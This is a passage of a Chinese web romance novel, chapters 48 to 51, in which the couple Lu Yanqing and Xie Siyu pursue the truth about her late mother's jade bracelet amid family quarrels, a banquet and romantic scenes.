陆言卿一时没反应过来周女士是谁,直到谢思虞接听电话,没有打开免提功能,听筒那头的对话声她也听见了。 周静是谢知瑶的母亲。 【谢思虞你不是要你母亲的遗物——】 【你给我闭嘴!】 第48章 因为我和阿虞心有灵犀 13:55分。 榕城二环路欣宏名苑公寓, 1单元2301公寓。 谢明远没想到妻子竟然真的拨通了谢思虞的电话,因愤怒而发红的眼睛里闪过一抹慌乱,大步流星冲上去抢过妻子手里的手机。 第一时间挂断, 随后便把手机重重地砸向墙壁,气急败坏吼道:“你给我闭嘴!我看你真是疯了,要是让思虞知道真相, 我还拿什么牵制她!” 周静被谢明远用力推了下,她后退时小腿肚撞到玻璃茶几边缘, 钻心的痛袭来,眼睛瞬间红了一圈。 扶着沙发扶手坐下来,嘴角勾起讥讽的笑:“即便那样, 跟我有什么关系?” 她娘家虽不是豪门, 也算书香门第,当年嫁给白手起家的谢明远, 他对她十分温柔体贴。 婚后半年她就怀孕了,孕期她反应大,脾气也不好,他也诸多包容,关怀备至,直到女儿出生。 他对她的态度可谓是一落千丈。 总是以工作为由,十天半月不回家。一开始她以为他重男轻女, 更怀疑他出轨了。 最后她找私家侦探跟踪调查自己的丈夫,想想都觉得可笑。 可惜调查结果令她大失所望。 谢明远不是重男轻女, 也没有出轨, 他真的在忙公司的事情。 那时她才恍然明白, 她嫁给了一个凉薄至极的人,过往种种, 什么温柔体贴,喜欢爱慕,通通都是假的。 之所以娶她,是因为她父亲能给他助力,外人眼中她端庄大方,换句话说就是拿得出手。 她也曾闹过吵过,谢明远都无动于衷。渐渐的,她死心了,再也不奢求会得到这个男人的爱。 唯一值得庆幸的是,谢明远会给她体面,对女儿提出不过分的要求都会满足。 谢思虞的出现。 彻底打破了这个家表面维持的平静。 原以为谢明远同意谢思虞认祖归宗,是喜欢她的母亲,再不济也是喜欢温柔内敛的小姑娘。 然而事实再次证明,她猜错了。 谢明远手里有谢思虞母亲的遗物,那个东西让他有了做生意的第一桶金。 三十多年过去,谢家也成为榕城的豪门之一,虽远比不上首富陆家,但也算是有头有脸。 三年前谢思虞嫁给陆言卿,在对方出国后,竟被陆老任命为集团总裁。 仅用三个月就令陆氏几位股东心服口服。 也是那个时候,谢明远开始忌惮这个心思缜密,手腕雷雳的女儿。 谢思虞不止一次提出让他归还母亲林婉仪的遗物,谢明远每次都找借口推脱。 她明白谢明远想用遗物牵制谢思虞,也是半年前才发现“真相”。 他拒绝归还,还有一个很重要的原因,那件东西被他弄坏了。 “你以为Elis破产,你能独善其身?” 谢明远盯着满脸嘲弄的妻子,捏了捏肿胀的眉心,强行压下心底的怒火,指着卧室方向说,“既然你把瑶瑶接回了榕城,T市那边我会重新安排设计总监过去。” 毕竟做了几十年夫妻,谢明远知道不能把妻子逼急了,否则她狗急跳墙,把真相捅到谢思虞面前,那时他才得不偿失。 往严重了说,Elis能不能保住都成问题。 想到这里,谢明远眼神变得晦暗,早知如此,他绝对不会同意她嫁进陆家! 来到妻子跟前,他蹲下身来,握住她的手,苦口婆心劝说:“小静,瑶瑶发生那样的事情,我也不想,她犯下错误,我总要给陆家一个交代。” 周静听到谢明远喊她小静,只觉得恶心,甩开他的手,不冷不热道:“谢明远你觉得我会信吗?我不会让瑶瑶再离开我的身边。” “现在,请你离开我的家。” 谢明远闭了闭眼,扶着茶几站起身来,妻子只是担心女儿,也不是冲动愚昧的人,张嘴嗓音沉重:“Elis将来要交到瑶瑶手上,这件事我从未隐瞒过你。” 谢明远握了握拳,迈开脚步往玄关方向走,看到被他摔在地上屏幕裂开的手机,他叹息一声,“稍后我会让助理送来新的手机。” 呵呵。 周静冷哼,自嘲地扯了扯唇角。 听到关门声,她才掩面而泣。 自始至终他关心的只有Elis会不会破产,她腿撞到茶几,那么痛,眼眶里有泪水打转,他都没有关心一句。 哪怕一句。 都没有。 不知道时间过去多久,周静面色苍白靠着沙发靠背,卧室的门被打开,谢知瑶穿着睡衣出来,她看上去也十分憔悴。 此刻脑袋晕乎乎的,应该又发烧了。 “妈,我刚睡的迷迷糊糊,是不是爸过来了,你们吵架了吗?” 谢知瑶来到周静身边坐下,她怕父亲还是要赶她去T市。 前天晚上公司设计部门团建。 一行人在海鲜自助餐厅吃完饭,不知道谁提议去KTV唱歌,她心情烦闷就多喝了几杯。 朋友打电话给她,包间里太吵,她就去了外面接听。 结果遇到两个酒鬼。 他们嘴里说着不堪入耳的脏话,非要拉着她去他们包间玩,她哪里会答应。 拒绝后转身要回包厢,那两人竟然冲上来一左一右抓着她的手臂,竟想在走廊上非礼她,如果不是同事出来找她。 那晚她绝对凶多吉少。 从小到大,她哪里受过这样的委屈。 喝了酒,又受到惊吓,半夜发热,公寓只有她自己,那一刻真是叫天天不灵,叫地地不应。 “妈,我真的不想再去T市了,你帮我求求爸好不好?” 周静看到女儿眼中的惶恐,还有对她的依赖,一时不知道该说什么。 遇到问题不会想解决的办法,只会撒娇卖乖,要么就是哭,她突然很后悔,以前她真的太惯着女儿了。 “我有他的把柄,他不会再逼你去T市。” 谢知瑶闻言总算松了口气,抓着母亲的手来到额头:“我好像又发烧了。” 周静摸到女儿滚烫的额头,眉头蹙了起来,抓着她的手站起身来:“我带你去医院。” 再愚昧无知,也是她的亲生女儿,还能怎么办呢? 等她病好,再谈其他。 但愿谢思虞那边没有起疑。 话说另一边。 陆氏集团,副总办公室。 谢思虞见电话被挂断,连续三次拨打周静的电话,听筒里一直提示无法接听。 眼神渐渐冷下来,用力攥紧了手机。 “阿虞,妈妈的遗物是什么?” 办公室气氛凝重,陆言卿自然也看出谢思虞状态很不好,起身来到她身边,从她手里抽出手机,然后紧紧握着她的手。 落地窗前。 谢思虞唇瓣抿着,周静打来电话,那头还传来谢明远暴跳如雷的声音,很明显他们在吵架。 能让他们夫妻争吵不休,事情多半跟谢知瑶有关系。 周静不会无缘无故说那句话,她应该是要告诉她什么,却被谢明远打断了。 “是一条翡翠手镯。” 陆言卿指尖轻轻磨挲她的掌心,痒痒的,谢思虞握住她的手,牵着她来到沙发前坐下。 漆黑的眼眸里目光颇为沉重且复杂,她说,“我很小的时候母亲便去世了,关于她的事情都是从外婆口中得知。” 母亲已经离世,她和谢明远的过往如何,她身为女儿没有资格评论好坏。 外婆心疼母亲,自然痛恨害死她女儿的罪魁祸首,说的话自带滤镜,她也不敢全信。 只有一件事,关于母亲的遗物。 不仅外婆转述,她还看到了母亲留下的书信。 那条翡翠手镯,是母亲问她老师借的。 当年她和谢明远恋爱,因为他需要一块敲门砖,却找不到门路去借,这才找到母亲。 最后谢明远通过那条手镯得到他想要的,却迟迟没有把翡翠手镯还给母亲。 直到他们分手,直到母亲重病卧床。 临死前拉着外婆的手说,一定要把手镯要回来,务必要还给她的老师。 “那他还真是……可耻。” 本想说恶心。 但顾及谢明远是谢思虞的父亲,陆言卿话到嘴边换了个词语,依靠女友获取资源,利用也就利用了,至少把东西还给人家啊。 那手镯还是阿虞母亲借的。 这分明是陷人于不义! “这三年来我问过几次,他总是闭口不谈,我怀疑其中有隐情。” 谢思虞垂了垂眼,如果她猜测不错,这个隐情被周静发现了,谢明远才会慌不择路。 “周女士也许知情?” 陆言卿没错过谢思虞眼中的深邃,很快也反应过来,浅浅地弯了下唇,“阿虞是想从谢知瑶身上入手?” 谢明远精于算计,惯于伪装,周静顾及女儿不敢真的跟他撕破脸。 但谢知瑶却头脑简单。 谢思虞闻言莞尔一笑,凑过去亲了亲陆言卿的唇瓣:“卿卿怎么知道我的想法?” 这人的眼睛生得很漂亮。 澄净透亮,尤其当里面盛满温柔和情意看着你时,根本招架不住。 陆言卿第一次被谢思虞这般撩拨,心湖荡漾,勾得她情不自禁地靠近,托着谢思虞的后脑,含住她的唇。 加深了这个吻。 短时间内第二次接吻,她们坐在沙发上,相拥,亲吻,亲密到难分难舍。 陆言卿这次险些失控,撩起谢思虞裙摆,掌心下是她光滑柔软的肌肤,办公室的门被敲响,她才恍然回神。 脸颊因情动染上绯色,她呼吸紊乱,来到谢思虞耳畔,声音哑的不成样子:“因为我和阿虞心有灵犀呀~” 第49章 勾卷着她的舌亲吻了好一会儿 晚上7:00分。 陆家洋房灯火通明, 客厅水晶吊灯折射出琥珀色光晕,陆言薇邀请了医院呼吸内科的两名同事,另外几人都是跟她玩得好的圈内朋友。 距离晚餐还有半个小时, 大家在客厅闲聊。 米色羊绒地毯上散落着七八个柔软的坐垫,空气里弥漫着沁人心脾的茉莉花茶清香。 明晨最近在学习制作点心,其中蝴蝶酥和花生饼干, 品尝过的人都说很好。 胡桃木茶几上,她打开点心盒, 捻起一块蝴蝶状点心递到陆言薇唇边:“这是我做的蝴蝶酥,薇薇你尝尝好不好吃?” “蝴蝶酥吗?之前见晨晨发朋友圈就想尝尝的。” 陆言薇眼睛一亮,就着明晨的手咬下酥皮, 糖渣簌簌落下, 她急忙用手去接。 “超级好吃。” 蝴蝶酥又香又脆,味道确实很棒。 明晨眉眼弯弯, 将点心盒推到茶几中央,看向其余几人:“大家别客气,蝴蝶酥就是要趁热吃。” 陆言卿和谢思虞没有围绕茶几坐,而是坐在一旁的沙发上,当明晨拿着点心盒走过来时,她们也各自拿了一块。 明晨回到原来的位置,紧接着打开第二个点心盒, 陆言薇就坐在她旁边,咸香花生味扑面而来, 看清楚里面的东西, 她瞳孔骤缩。 “除了蝴蝶酥, 我做的花生……” 不等明晨把话说完,陆言薇几乎是扑过去, 抢过她手中的盖子,将点心盒盖得严严实实。 手指按压边缘,压出深红的印痕。 余光瞥见谢思虞搭在沙发扶手上的手指收拢,陆言薇眉头紧蹙,抱着点心盒站起身来,对上朋友错愕的目光,她解释:“晨晨,我姐对花生过敏。” “抱歉,我不知道……” 明晨怔愣地眨眨眼,着实没想到陆言卿对花生过敏,下意识看向沙发上坐着的人,此刻她脸上挂着温和的浅笑。 “没事的。” 陆言卿不以为然扯了扯唇,将谢思虞的手拢进自己掌心轻轻摩挲,转头对妹妹笑了笑,“别让这点小事扫了大家的兴致。” 谢思虞此刻身体正紧绷着,眼睑低垂,看不到眼底的神色,没有被陆言卿握着的那只手,指甲深深掐进掌心。 她知道明晨并非故意,却还是有些压不住情绪。 那年在学校门口,她慌乱不安追出去,正好看到被医护人员抬上救护车的陆言卿,她的颈脖处布满了密密麻麻的红斑…… “明晨妹妹无需自责,你们随意,我和阿虞去院子里透透气。” 陆言卿察觉到谢思虞情绪不对,想到那晚在谢家她绝望落泪的画面,心口有些滞涩,说完就牵着她的手站起身,朝着玄关走去。 陆言薇目送姐姐和嫂嫂离开别墅,眉心还紧紧蹙着,抱着点心盒来到厨房门口:“刘妈,麻烦你把这盒点心放到我的车里。” 毕竟是闺蜜的一番心意,她明天把点心带到办公室和同事一起分享,以防万一,家里绝对不能出现任何跟花生有关的东西。 经过这个小插曲,客厅气氛变得有些凝重,于鑫和阳雨两人也是呼吸内科的医生,她们相互对视一眼,识趣什么都没问。 明晨满脸自责:“抱歉薇薇,是我考虑不周,言卿姐不会生气吧?” 像她们这样的出身,尤其是陆家这样的顶级豪门,陆言卿对花生过敏,这种事自然是越少人知道越好。 今天之前,她的确不知情。 “姐姐刚不是说了吗,她不介意。” 陆言薇来到明晨旁边,轻轻拍了拍她的肩膀,暖心安慰。 又看了眼玄关方向,相比姐姐,似乎嫂嫂更介意。 明安安正小口小口吃着蝴蝶酥,她和明晨是双胞胎姐妹,瞧出姐姐此刻的局促不安,看向一旁的陆言薇:“薇薇,还是第一次见你这般严肃。” 陆言薇抿紧了唇瓣,想到当年姐姐误喝花生牛奶,再加上她当时参加学校运动会长跑,晕厥被送往医院抢救。 手术进行到一半,手术室的门突然被推开,医生出来时橡胶手套上还沾着冰碴,对方说话嗓音沉重。 「患者现在情况很不好,过敏性休克,有器官出现衰竭的症状。」 陆言薇记得清清楚楚,那病危通知书边缘还带着飞溅的碘伏痕迹,父亲听到这样的噩耗,签字的手都是抖的。 只是回忆而已,她都心有余悸。 “我们不提这件事了。” 陆言薇快速整理好情绪,跪在柔软的坐垫上,端着茶壶给大家续茉莉花茶。 明晨拍了拍妹妹的手背,端起陶瓷杯喝茶水,转移了话题:“听说二院呼吸科要扩建?” 与此同时。 陆言卿牵着谢思虞来到院子里,夜幕低垂,院子里光线暗淡下来,大概是因为今晚情况特殊。 栅栏上方装饰了彩灯,或许是别墅佣人发现她们来到院子,便打开了彩灯的开关。 墙边花坛里。 几株重瓣朱丽叶玫瑰开的正艳,花朵饱满,外层是浅杏色,向内渐变成温柔的橘粉色。 其中有两朵花应是绽放了有一段时间,花瓣呈现出柔和的奶白色。 “卿卿喜欢?” 五颜六色的光斑在朱丽叶玫瑰的重瓣间流淌,谢思虞深呼吸几次,强行压下内心深处的愧疚与自责。 稍稍侧过头,见陆言卿的目光一瞬不瞬落在那几朵玫瑰花上,以为她是喜欢。 夜风起。 谢思虞的发丝拂过脸颊。 陆言卿闻到一股淡淡的橙花香,转过身面对着谢思虞,温柔地替她整理头发。 “我不喜欢朱丽叶玫瑰。” 甚至是讨厌。 当年她和沈女士一起种下朱丽叶玫瑰,它月月都会开花,绚烂唯美,沈女士也说过会跟花一样守时。 可最后她都失约了。 8岁那年的生日。 她从天亮等到天黑,从满怀期望到失望透顶。 那晚依然是父亲陪着她切生日蛋糕,那天她不曾许愿,因为就算许了愿望,也不可能实现。 凌晨时分。 她从床上爬起来,穿着睡衣就来到楼下院子,一株一株将朱丽叶玫瑰拔起来。 扔进垃圾桶。 从那时起,她就不再期待。 如今花坛里的几株玫瑰,她不知道是谁种植的。 也并不关心。 “卿卿不喜欢,那我也不喜欢。” 陆言卿眼底一闪而过的悲伤与黯然被谢思虞捕捉到,整颗心都跟着紧了紧。 突然踮起脚尖,如花瓣般轻柔的吻,落在陆言卿嘴角。 一触即分。 谢思虞没有其他想法,就是单纯不想陆言卿不开心。 馥郁的淡香盈满鼻端。 陆言卿垂了垂眼睑,对上谢思虞温柔似水的眼眸,心里熨贴,另一只手搂着对方的腰肢。 低头轻啄谢思虞的唇瓣,似乎觉得不够,又撬开她的贝齿,湿漉的舌尖探入其中,勾卷着她的舌亲吻了好一会儿。 分开时,唇角还牵出暧昧的银丝,陆言卿捏了捏谢思虞发烫的耳朵,眉目柔和:“阿虞下次这样亲的话,我会更开心。” 谢思虞娇嗔瞪了陆言卿一眼。 额头抵着她肩头,结束这个令她脸红心跳的话题。 别墅二楼。 最右侧的小客厅。 陶菀之站在窗前,她真的只是无意间撞见这一幕,可正是如此。 心脏才如同撕扯一般难受。 明明说服自己放弃。 但真的去做,才知道有多难。 “菀之?” 沈女士拿着珠宝从卧室回来,见陶菀之站在窗前,怅然若失看着楼下,哪怕她什么都没说,周身也萦绕着一股淡淡的悲伤。 来到窗前,正好看到女儿言卿和谢思虞相拥亲吻的画面。 再次看向陶菀之,眼底多了一抹心疼,握紧手中的盒子,现在她都还记得,当年她约好友商谈联姻的事情,陶菀之追她到电梯门口所说的话。 【沈阿姨,我愿意嫁进陆家,不瞒您说,我,我喜欢言卿姐。】 【但是我愿意嫁,不代表言卿姐愿意娶,您还是要征求她的意见,你们别因为这件事而吵架。】 三年前父亲以继承权要挟大女儿结婚,老人家挑选了很多名门闺秀,也让他们夫妻帮忙物色。 榕城豪门圈。 品行端庄,知书达理的姑娘很多。 既然要嫁进陆家,对方最好也是知根知底,于是她想到了好友刘敏的女儿。 她和刘敏都是外交官,有着十多年同事的交情,私下也曾几次见过陶菀之。 这个女孩温婉娴淑,落落大方,配言卿也是绰绰有余。 尤其当她得知陶菀之的心意,更加的开心,正要撮合两个孩子。 偏偏这时大女儿答应了父亲娶谢家那位养女。 她震惊。 也出言阻止。 但她和大女儿关系并不亲近,婚姻大事,她自然也不会采纳她的意见。 而且一个月时间不到,大女儿就跟谢思虞领证,陆家谢家双方还签订了相关商务合作。 联姻已然板上钉钉,她再不满也无能为力。 “沈阿姨,这就是母亲拜托您拍下的珍珠项链吗?” 陶菀之思绪被拉回来,咬了咬腮帮的软肉,克制失控的情绪,拉上窗帘的同时,嘴角努力牵出一抹得体的微笑。 沈女士心疼归心疼,也不好说什么,如今大女儿和谢思虞感情很好,只能说陶菀之和言卿之间没有缘分。 第50章 阿虞觉得我又是什么好人? 时间一晃来到4月。 榕城的天气也慢慢暖和起来。 双栖云境西郊店非遗茶文化廊改造成功, 商城黄金入口左侧第一家门店「月桂芳」珠宝在4月6日这天开业,陆氏集团也送上了花篮祝贺。 下午5:40分。 暖橘色的夕阳穿过落地窗玻璃洒进办公室里,陆言卿推开副总办公室的门, 就看见谢思虞站在落地窗前,望着大厦外的景色走神。 “阿虞想什么呢?” 陆言卿来到谢思虞身后,从后面环住她的腰, 下巴轻轻搁在她的肩头,夕阳把两人亲密交叠的影子拉长投在地板上。 谢思虞闻到熟悉的淡香, 眉眼顿时变得柔和,翻开手中的请柬,笑着回:“惠家生鲜超市的吴董三天后举办生日宴, 邀请我们参加。” 惠家生鲜超市跟陆氏有将近十年的合作, 榕城3家商城,他们就入住了其中两家, 按理说吴董的生日宴,她们应该出席。 “那阿虞是不想去吗?” 陆言卿看不到谢思虞脸上的神色,亲昵地蹭了蹭她的颈脖,眼眸里始终带着温柔的浅笑,“不喜欢那种吵闹的场合我们就不去,让人送份礼物过去也行。” 谢思虞轻轻摇头,她不是不想去, 而是一定要去。 “吴董的孙女吴兰欣,她和谢知瑶是好朋友, 生日宴那样隆重的场合, 谢知瑶肯定会出席。” 周静那天给她打了一通电话, 也不知道事后是不是跟谢明远有什么交易,一直躲着避着, 摆明不想透露更多消息。 谢知瑶在T市差点出事,周静亲自飞过去,不顾谢明远的警告,执意把人接回来。 她们母女这段时间都没有回谢家老宅,而是住在欣宏名苑的公寓里。 当然,这些事都是她找私家侦探调查的,也打电话给谢宅的李婶确定过。 “那我们就去。” 陆言卿眨眨眼,很快便明白谢思虞的打算,谢知瑶头脑简单,从T市回来后闭门不出,怕不是就在防着她们。 既然鱼儿躲着不见人,那她们就丢点鱼饵。 谢思虞稍稍歪头,对上陆言卿狡黠的目光,不自在地抿了抿唇,捏紧了手里的鎏金请柬,忐忑道:“生日宴上,我会算计谢知瑶,套她的话,卿卿……不觉得我这样做很卑劣吗?” 陆言卿闻言愣了下,完全没想到谢思虞会问这样的问题,松开环在她腰间的手,扣着她的肩膀,慢慢转过来和自己面对面。 她垂下眼睑,仔细打量面前的人。 只见谢思虞眼睑微垂,长睫颤抖的厉害,明显是忐忑,还十分不安。 一时间,陆言卿胸口好像堵着什么异物,格外沉重难耐。 她很轻地把谢思虞揽进怀里,亲了亲她鬓角,放柔了语气反问:“祖父让我继承陆氏集团,就连老谋深算的二叔都不是我的对手,阿虞觉得我又是什么好人?” “你是。” 谢思虞毫不犹豫开口,抬起双臂用力回抱住陆言卿,额头抵着面前人的锁骨,怕她没有听清,又郑重的重复一遍,“卿卿很好。” 不管是哪一面,她都喜欢。 很喜欢。 陆言卿唇角不自觉地勾起,满心欢喜和愉悦。 心脏,砰砰砰,变得紊乱起来。 明明只是一句话而已,就让她的心软得一塌糊涂。 低头吻了吻谢思虞的发顶。 陆言卿目光柔肠百转,她以前从不信命,如今却感激上苍,让她遇到这么好这么好的姑娘。 “我在阿虞眼中就这般好?” “嗯。” 陆言卿拇指磨挲谢思虞柔软的耳垂,温柔地抬起她的下巴,低头在她唇上轻轻碰了碰,亲昵又自然:“阿虞不要妄自菲薄,你在我心里也是极好的,嗯?” 谢思虞突然不敢去看陆言卿眼中的深情,不着痕迹低下头。 内心深处是又喜又怕。 喜的是,陆言卿喜欢她。 怕的是,陆言卿不知道她为了嫁给她,都做过哪些恶劣的事情。 “生日宴会上阿虞有需要,我会配合。” 陆言卿从谢思虞手中抽走鎏金请柬,牵着她往办公桌方向走,还剩几分钟下班,她关掉电脑,笑着问,“晚上想吃什么?” 谢思虞端起桌上的杯子喝了口里面的茉莉花茶,掩了眼底复杂的情绪,嘴角牵出温柔的浅笑:“去吃火锅?” “阿虞不是不喜欢?” “偶尔吃一次没关系。” “那我们点鸳鸯锅吧,叫上晚意和杨怡,人多热闹。” “好。”- 三日后,晚上7点。 榕城澜庭五星酒店,二楼宴会厅。 今天是吴家老爷子79岁生日,听说前段时间他生了场大病,险些没能挺过来,两个儿子是一阵后怕,等老爷子身体好转,他们特意举办了生日宴。 今晚出席宴会的客人,有榕城豪门圈的朋友,也有合作多年的商业伙伴,光是酒席就有40多桌。 距离酒席开始还有半个小时。 宴会厅旁边的休息室,聚集了不少人,豪门千金小姐们聚集在一起,更多的是聊别人的八卦。 靠近窗户的米白色沙发。 陆言卿今晚穿着米白色方领连衣裙,提花面料,她还佩戴着一条珍珠项链。 柔软微卷的长发披肩,气质温柔又不失优雅。 旁边谢思虞长发盘起,穿着黑花白底的国风旗袍连衣裙,微蓬的泡泡袖,收腰设计,将她玲珑有致的身材衬托得淋漓尽致。 漂亮纤细的手腕上戴着一条冰种飘花手镯,整个人就像是古代大家闺秀,端庄大方,绰约多姿。 两人坐在一起,美的像是一幅画卷。 谢思虞正低头看手机。 五分钟前刘瑶发给她一份报表,说财务部那边等着要。 之所以没有发给陆言卿确定签字,是因为这个项目是她在对接。 休息室里香薰加湿器喷出的味道很浅很淡,陆言卿扫了一圈,没看到谢知瑶的身影,百般无聊下拿起工具开始剥夏威夷果。 金属开果器在夏威夷果壳缝隙处轻轻一压,“咔嗒”一声果壳和果肉完美分离,淡淡的奶油香散开来。 “尝一颗?” 微凉的果仁碰到唇瓣,谢思虞下意识张嘴含住,舌尖扫过陆言卿的指尖:“谢谢卿卿。” 眼皮都没掀,继续浏览手机屏幕上的内容。 陆言卿对此哭笑不得,用湿巾擦掉指腹上的盐粒,倒也没有打扰谢思虞工作。 斜对面绒布沙发上,穿樱花粉衣裙的女孩碰了碰同伴手肘,她就是看到陆言卿看谢思虞的眼神温柔得快要溢出水来,羡慕的不行:“我也想结婚了。” 鹅黄色抹胸裙的女生手里正拿着一块马卡龙,她压低声音,直言不讳打碎朋友不切实际的幻想:“想结婚?你确定能找到像陆总和谢思虞那样温柔漂亮的另一半?” 女孩被朋友泼了凉水,立刻耷拉着脸:“那我现在烧香拜佛还来得及吗?” 抹胸裙女生真诚给出建议:“做梦可能会快点。” 女孩要哭了:“……” 另一边。 靠近休息室大门的沙发区,圆形分布,中间是两张玻璃子母茶几,上面也堆放了不少零嘴和水果。 其中有几个熟面孔。 明家姐妹和陶菀之竟然也在,她们都是陪各自父母来参加生日宴。 明晨和明安安虽然是双胞胎姐妹,但她们长得一点也不像。 姐姐温婉柔美,妹妹楚楚动人,但跟她相熟便会知道,她更活泼狡黠。 还有两个月时间高考。 陶菀之最近很忙,每天早出晚归,母亲担心她压力太大,今晚特意拉着她出来吃席。 “对了菀之,之前陆总发在微信朋友圈的照片你看了吗?好像是A市云镜湖的风景耶。” 董欣悦递给陶菀之一杯果汁,董家和陶家是邻居,她和陶菀之也是同岁,两人一起长大,关系也亲近。 陶菀之没有陆言卿的微信,那人一直没有通过她的好友申请,但通过其他途径,她也看到了那些照片。 双手捧着玻璃杯,果汁加了少量的冰块,有点凉。 她轻轻点头:“是云镜湖。” 有人羡慕,自然就有人嫉妒。 陶菀之对面一位穿浅绿色连衣裙的女生,阴阳怪气道:“谁知道是不是做戏?陆总和谢思虞结婚,一出国就是三年,这回来才几个月啊?” 明晨微微蹙眉,正想说不是,旁边妹妹塞给她一颗牛奶糖。 陶菀之也抿了抿唇,往陆言卿那边看了眼,很快收回目光,对女生说:“言卿姐没有做戏,她和谢小姐感情真的很好。” 女生不以为然:“你说我就信?再说你谁啊?” 陶菀之:“……” 手指微蜷,不知道该如何反驳。 旁边董欣悦翻找出微信聊天记录,屏幕对准那女生:“她们感情好自然是真的,前段时间陆总找到我,说要设计几套婚纱,事后还给了我谢小姐的尺码。” “这不是摆明了要补拍婚纱照吗?” 说完正好有电话进来,她跟陶菀之说了声,就站起身往外走。 女生被怼得哑口无言,低下头吃盘子里的蛋糕,也没有继续这个话题。 补拍婚纱照? 陶菀之眉眼低垂,努力深呼吸,不想让旁人看到她狼狈的样子,于是将玻璃杯里的果汁一饮而尽。 冰冷的果汁顺着喉咙往下。 因为喝的太急,她猛地咳嗽起来,玻璃杯里只剩下冰块,杯子外壁上的水珠沾了她一手。 “小心。” 明安安递给陶菀之两张纸巾,并且将她手中的玻璃杯接了过去。 陶菀之柔声开口:“谢谢。” 她认出了明安安,那晚在陆家,陆言薇拉着她介绍她的同事和朋友。 明安安莞尔一笑,今晚她涂了豆沙色的唇釉,柔和的眼妆,看起来很温柔。 但此刻她眼睛里闪着狡黠的目光,打开微信好友二维码:“菀之姐姐?我可以这样叫你吗?” 陶菀之眨眨眼睛,将纸巾揉成一团,腼腆地点点头:“你和言薇同岁,可以随她一起叫我姐姐。” “我想加菀之姐姐的微信。” 明安安唇角勾着浅笑,把手机拿到陶菀之面前,“姐姐很漂亮。” “啊……谢谢。” 陶菀之攥紧纸巾,面对明安安的热情,她有些招架不住,一边拿出包里的手机,一边疑惑的问,“明小姐加我的联系方式,是有什么事吗?” 虽然见过两面。 但她们确实不怎么熟悉。 很快两人添加微信。 明安安修改备注,写的是陶菀之,但在后面加了漂亮姐姐四个字。 她眨着明亮的大眼睛,自来熟道:“菀之姐姐可以叫我安安哦。” 明安安还想说什么,结果被姐姐抓住了手腕。 明晨从洗手间回来,就见妹妹和陶菀之“相谈甚欢”,特别不好意思:“陶小姐见谅,我妹妹有点顽劣,要是说错话你别放在心上。” 陶菀之眼神温柔,语调平和:“没有,明小……安安她性格很好。” 她自幼就比较内向腼腆,也是长大后工作了几年,才慢慢转变。 明晨微微颔首,笑而不语。 自家妹妹什么脾气,她自然清楚,表面看着温柔乖巧,实则离经叛道。 不过在这样重要的场合,妹妹也知晓分寸,不会乱来。 “酒席要开始了,陶小姐请便。” 明晨瞪了妹妹一眼,拉着她离开休息室。 【菀之姐姐,你不要偷偷删除我哦~】 酒席开始。 休息室的人陆陆续续往外走,陶菀之下意识往陆言卿方向看过去,那里早都没有她们的身影。 手里手机叮咚一声响,解锁后看到内容。 眼底露出一抹无奈的笑。 【不会。】 与此同时。 宴会正厅,陆家是榕城的首富,陆言卿带着妻子来给吴老爷子祝贺,她们两人被邀请坐在主人家旁边的餐桌,可见吴家人对她们的重视。 吴老说了几句场面话,酒席开始。 然而直到酒席结束,她们都没有看到谢知瑶的身影。 以前最爱往宴会堆里凑的人,今天竟然转性了。 “卿卿,周静绝对是知道了什么。” 酒店负一楼停车场,黑色奔驰车里。 副驾驶,谢思虞无意识抓紧了身上的裙子,眼底目光凌然。 谢知瑶没来宴会。 很大可能是周静的手笔,目的就是防着她。 因为她知道自己女儿几斤几两。 陆言卿握着谢思虞的手,把人揽进怀里,轻声安抚:“阿虞你别急,这世上没有不透风的墙,今晚没见到谢知瑶,我们再想其他办法。” 50-60 第51章 我好想阿虞,想抱抱你,亲亲你。 榕城欣宏名苑。 2301公寓, 主卧。 谢知瑶身上穿着法式方领蓝色油画风碎花连衣裙,因为要出席盛大隆重,又是好朋友爷爷的生日宴会, 她特意用卷发棒卷了头发,化了温柔乖巧的妆容。 结果她连卧室门都出不了。 从小到大她哪里受过这样的委屈? 关键这委屈还是母亲给的。 明明她都答应了,今晚过去她会乖乖听话, 绝对不去找谢思虞的麻烦。 之前她被父亲“发配”去T市,圈子里不少名门闺秀看她笑话。 她今晚高调盛装出席, 无非就是想狠狠打那些人的脸,让她们知晓,她谢知瑶又回到榕城了。 可最后呢, 她竟然被母亲反锁在卧室, 任凭她哭闹撒泼。 母亲都无动于衷。 此时此刻。 谢知瑶跪坐在地毯上,脸上还有未干的泪痕, 精致漂亮的妆容自然花了,身上的裙子也沾染上了污渍。 简直狼狈到了极点。 被她摔落在墙角的手机响起了铃声,谢知瑶僵硬地扭过头,爬过去把手机捡起来,屏幕边角有裂痕,幸好还能使用。 【瑶瑶你没事吧?】 【我打你电话一直提示不在服务区,酒席开始你都未曾出现, 可把我吓坏了。你现在在哪里?】 谢知瑶蜷缩在床边,死死攥紧了手机, 听筒那头是好朋友吴兰欣的关心, 不知为何她又流下眼泪来。 抽噎着正要回话, 卧室的门被人从外面推开,周静就站在门口, 手里拿着一串钥匙,她打开房间的照明灯,并提醒:“生日宴结束,你未出席,可以向兰欣道歉,结束通话后出来吃饭。” 【瑶瑶?是周阿姨在说话吗?】 谢知瑶一瞬不瞬盯着门口的母亲,眼底充满了怨念和委屈,要论心性手段,自身能力,她是比不上谢思虞。 也深知这些年母亲对她的失望。 可她是她的亲生女儿。 难道她就一点不值得信任吗? 用力咬了下嘴唇,谢知瑶强忍着情绪不在朋友面前哭出声音来,声音又低又哑:“我在母亲的公寓,抱歉兰欣,今晚你爷爷生日,我没有去祝寿。” 【你在公寓啊,那我就放心了。】 【不用说抱歉,谢伯伯过来时让酒店工作人员转交给我一份贺礼,是你准备的吧,真是有心了,我爷爷平日里最喜欢喝茶。】 【你……是不是跟周阿姨吵架了?要是你心情不好,随时联系我,我带你逛街吃好吃的。】 谢知瑶要是说自己被母亲反锁在家里,那也太丢脸了,胡乱找个借口糊弄过去。 至于送给吴爷爷的名贵茶叶,确实是她拖关系找人购买的。 想到什么,谢知瑶眼神暗淡下来:“谢谢你兰欣,最近我妈看我看得紧,回头有时间我再联系你。” 电话挂断。 她保持这个姿势在地毯上坐了很久,直到房门再次被叩响,她才慢慢站起身来。 手机仍在床上,先是去卧室洗了把脸,水空头开的太大,溅出来的水花打湿了连衣裙。 谢知瑶烦躁地抓了抓头发,没有换,径直离开了卧室。 外面餐厅。 餐桌上摆着五菜一汤,全是她爱吃的,谢知瑶自嘲地扯了扯唇角,拉开餐椅坐下来。 拿起筷子就开始吃,假装没有看到餐桌对面的母亲。 “你怨我恨我都无所谓。” 